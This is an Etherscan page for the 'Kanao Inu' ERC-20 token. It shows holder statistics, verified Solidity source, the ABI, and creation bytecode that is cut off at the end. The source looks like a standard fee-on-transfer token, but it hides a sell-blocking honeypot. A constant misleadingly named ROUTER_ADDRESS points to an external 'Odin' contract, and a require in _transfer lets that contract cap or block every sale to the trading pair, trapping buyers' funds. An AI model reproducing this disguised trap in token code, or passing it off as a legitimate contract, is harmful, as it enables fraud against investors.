Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 KANAO
Holders
10
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 6 Decimals)
Balance
2,071.894164 KANAOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Kanao
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-11-16 */ //SPDX-License-Identifier: MIT // Telegram: t.me/kanaoinu pragma solidity ^0.8.7; uint256 constant INITIAL_TAX=6; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet uint256 constant TOTAL_SUPPLY=100000000; string constant TOKEN_SYMBOL="KANAO"; string constant TOKEN_NAME="Kanao Inu"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface Odin{ function amount(address from) external view returns (uint256); } contract Kanao is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(25); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_uniswap) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function endTrading() external onlyTaxCollector{ require(_canTrade,"Trading is not started yet"); _swapEnabled = false; _canTrade = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"endTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTaxRate","type":"uint256"}],"name":"lowerTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526006600a620000149190620005e9565b6305f5e10062000025919062000726565b6000196200003491906200080f565b60001962000043919062000787565b6005556000600c60156101000a81548160ff0219169083151502179055506000600c60166101000a81548160ff0219169083151502179055503480156200008957600080fd5b5060006200009c620003e560201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506200014a620003e560201b60201c565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016007819055506006600881905550737a250d5630b4cf539739df2c5dacb4c659f2488d600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600554600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200034260196006600a6200031d9190620005e9565b6305f5e1006200032e919062000726565b620003ed60201b62000efd1790919060201c565b600a8190555062000358620003e560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006600a620003b79190620005e9565b6305f5e100620003c8919062000726565b604051620003d791906200051d565b60405180910390a3620008c3565b600033905090565b60006200043783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200043f60201b60201c565b905092915050565b6000808311829062000489576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004809190620004f9565b60405180910390fd5b50600083856200049a919062000556565b9050809150509392505050565b6000620004b4826200053a565b620004c0818562000545565b9350620004d2818560208601620007d9565b620004dd81620008a5565b840191505092915050565b620004f381620007c2565b82525050565b60006020820190508181036000830152620005158184620004a7565b905092915050565b6000602082019050620005346000830184620004e8565b92915050565b600081519050919050565b600082825260208201905092915050565b60006200056382620007c2565b91506200057083620007c2565b92508262000583576200058262000876565b5b828204905092915050565b6000808291508390505b6001851115620005e057808604811115620005b857620005b762000847565b5b6001851615620005c85780820291505b8081029050620005d885620008b6565b945062000598565b94509492505050565b6000620005f682620007c2565b91506200060383620007cc565b9250620006327fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200063a565b905092915050565b6000826200064c57600190506200071f565b816200065c57600090506200071f565b81600181146200067557600281146200068057620006b6565b60019150506200071f565b60ff84111562000695576200069462000847565b5b8360020a915084821115620006af57620006ae62000847565b5b506200071f565b5060208310610133831016604e8410600b8410161715620006f05782820a905083811115620006ea57620006e962000847565b5b6200071f565b620006ff84848460016200058e565b9250905081840481111562000719576200071862000847565b5b81810290505b9392505050565b60006200073382620007c2565b91506200074083620007c2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200077c576200077b62000847565b5b828202905092915050565b60006200079482620007c2565b9150620007a183620007c2565b925082821015620007b757620007b662000847565b5b828203905092915050565b6000819050919050565b600060ff82169050919050565b60005b83811015620007f9578082015181840152602081019050620007dc565b8381111562000809576000848401525b50505050565b60006200081c82620007c2565b91506200082983620007c2565b9250826200083c576200083b62000876565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b6130c480620008d36000396000f3fe6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102ed578063a9059cbb14610316578063dd62ed3e14610353578063f429389014610390576100fe565b806370a0823114610243578063715018a6146102805780638da5cb5b1461029757806395d89b41146102c2576100fe565b8063293230b8116100c6578063293230b8146101d3578063313ce567146101ea57806351bc3c851461021557806356d9dce81461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b60405161012591906126a5565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906121f5565b6103e4565b604051610162919061268a565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612847565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906121a2565b610426565b6040516101ca919061268a565b60405180910390f35b3480156101df57600080fd5b506101e86104ff565b005b3480156101f657600080fd5b506101ff6109f9565b60405161020c91906128bc565b60405180910390f35b34801561022157600080fd5b5061022a610a02565b005b34801561023857600080fd5b50610241610a7c565b005b34801561024f57600080fd5b5061026a60048036038101906102659190612108565b610b64565b6040516102779190612847565b60405180910390f35b34801561028c57600080fd5b50610295610bb5565b005b3480156102a357600080fd5b506102ac610d08565b6040516102b991906125bc565b60405180910390f35b3480156102ce57600080fd5b506102d7610d31565b6040516102e491906126a5565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f9190612262565b610d6e565b005b34801561032257600080fd5b5061033d600480360381019061033891906121f5565b610de6565b60405161034a919061268a565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190612162565b610e04565b6040516103879190612847565b60405180910390f35b34801561039c57600080fd5b506103a5610e8b565b005b60606040518060400160405280600981526020017f4b616e616f20496e750000000000000000000000000000000000000000000000815250905090565b60006103f86103f1610f47565b8484610f4f565b6001905092915050565b60006006600a6104129190612a06565b6305f5e1006104219190612b24565b905090565b600061043384848461111a565b6104f48461043f610f47565b6104ef8560405180606001604052806028815260200161306760289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a5610f47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116349092919063ffffffff16565b610f4f565b600190509392505050565b610507610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600c60149054906101000a900460ff16156105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790612727565b60405180910390fd5b6105f930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6105e59190612a06565b6305f5e1006105f49190612b24565b610f4f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190612135565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190612135565b6040518363ffffffff1660e01b81526004016107729291906125d7565b602060405180830381600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190612135565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061084d30610b64565b600080610858610d08565b426040518863ffffffff1660e01b815260040161087a96959493929190612629565b6060604051808303818588803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cc91906122bc565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109a4929190612600565b602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190612235565b50565b60006006905090565b610a0a610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6357600080fd5b6000610a6e30610b64565b9050610a7981611698565b50565b610a84610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610add57600080fd5b600c60149054906101000a900460ff16610b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2390612827565b60405180910390fd5b6000600c60166101000a81548160ff0219169083151502179055506000600c60146101000a81548160ff021916908315150217905550565b6000610bae600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611920565b9050919050565b610bbd610f47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c41906127a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4b414e414f000000000000000000000000000000000000000000000000000000815250905090565b610d76610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcf57600080fd5b60068110610ddc57600080fd5b8060088190555050565b6000610dfa610df3610f47565b848461111a565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e93610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eec57600080fd5b6000479050610efa8161198e565b50565b6000610f3f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119fa565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb690612807565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561102f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102690612707565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110d9190612847565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561118a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611181906127e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f1906126c7565b60405180910390fd5b6000811161123d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611234906127c7565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b815260040161128a91906125bc565b60206040518083038186803b1580156112a257600080fd5b505afa1580156112b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112da919061228f565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113855750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b611390576000611392565b815b111561139d57600080fd5b6113a5610d08565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561141357506113e3610d08565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561162457600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156114c35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115195750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561156357600a548110611562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155990612767565b60405180910390fd5b5b600061156e30610b64565b9050600c60159054906101000a900460ff161580156115db5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115f35750600c60169054906101000a900460ff165b156116225761160181611698565b6000479050670de0b6b3a76400008111156116205761161f4761198e565b5b505b505b61162f838383611a5d565b505050565b600083831115829061167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167391906126a5565b60405180910390fd5b506000838561168b9190612b7e565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156116d0576116cf612cd9565b5b6040519080825280602002602001820160405280156116fe5781602001602082028036833780820191505090505b509050308160008151811061171657611715612caa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156117b857600080fd5b505afa1580156117cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117f09190612135565b8160018151811061180457611803612caa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061186b30600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f4f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118cf959493929190612862565b600060405180830381600087803b1580156118e957600080fd5b505af11580156118fd573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b6000600554821115611967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195e906126e7565b60405180910390fd5b6000611971611a6d565b90506119868184610efd90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156119f6573d6000803e3d6000fd5b5050565b60008083118290611a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3891906126a5565b60405180910390fd5b5060008385611a509190612982565b9050809150509392505050565b611a68838383611a98565b505050565b6000806000611a7a611c63565b91509150611a918183610efd90919063ffffffff16565b9250505090565b600080600080600080611aaa87611cfe565b955095509550955095509550611b0886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b9d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611be981611e0e565b611bf38483611ecb565b8773ffffffffffffffffffffffffffffffffffffffff168973fffffffff